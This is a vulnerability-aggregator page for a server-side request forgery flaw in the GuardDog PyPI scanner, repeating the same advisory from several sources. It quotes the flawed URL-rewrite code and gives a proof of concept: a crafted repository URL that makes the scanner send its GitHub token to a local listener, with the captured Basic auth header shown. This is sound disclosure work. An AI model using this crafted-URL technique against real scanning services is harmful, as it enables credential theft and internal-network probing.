CVE-2026-44971
GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.2
GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
- Record
CVE-2026-44971- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-32535
8.2
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
- Record
EUVD-2026-32535- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-587r-mc96-6f2p
8.2
GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://[email protected]:18081/owner/repo
is transformed into:
http://[email protected]:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
- Record
GHSA-587r-mc96-6f2p- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
8.2
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
- Record
CVE-2026-44971- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
8.2
GuardDog: Blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
- Record
CVE-2026-44971- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-587r-mc96-6f2p
8.2
GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://[email protected]:18081/owner/repo
is transformed into:
http://[email protected]:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
- Record
GHSA-587r-mc96-6f2p- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2505
8.2
GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://[email protected]:18081/owner/repo
is transformed into:
http://[email protected]:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
- Record
PYSEC-2026-2505- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
guarddogPyPI |
1.0.0 to 2.9.0 | None known |
guarddogPyPI |
1.0.0 to 2.9.0, plus listed versions 1.0.11.0.21.1.01.1.11.1.2 Show 42 moreShow less1.1.31.1.41.10.01.10.11.11.01.11.11.11.21.21.2.11.3.01.4.01.5.01.5.11.5.21.5.31.5.41.5.51.5.61.5.71.5.81.6.01.7.01.8.01.8.11.8.21.9.02.0.02.0.12.0.22.0.32.0.42.0.52.0.62.1.02.2.02.3.02.4.02.5.02.6.02.7.02.7.12.8.4 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44971 is a high vulnerability (CVSS 8.2) in Datadog Guarddog, published May 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. No source names a fixed version.